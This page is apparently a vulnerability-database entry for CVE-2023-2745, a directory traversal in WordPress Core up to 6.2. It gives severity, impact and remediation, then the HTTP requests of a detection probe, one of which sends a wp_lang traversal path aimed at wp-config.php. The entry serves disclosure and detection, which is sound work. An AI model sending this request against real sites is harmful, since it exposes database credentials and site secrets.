🔙 목록으로 돌아가기

CVE-2023-2745: WordPress Core <=6.2 - Directory Traversal

TitleWordPress Core <=6.2 - Directory Traversal
Authornqdung2002
SeverityMedium
ImpactThis allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
RemediationApply the latest security patches and updates from the vendor to address this vulnerability.
CVSS Score6.1
EPSS Score0.77784
CWE IDCWE-22
Tags cve cve2023 wpscan disclosure wp wordpress lfi vuln

🔍 Vulnerability Description

WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; en-US) Gecko/20010604 Firefox/109.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=56Q5Fv&pwd=rASlba&wp-submit=Log+In&testcookie=1
GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2745.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2745.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A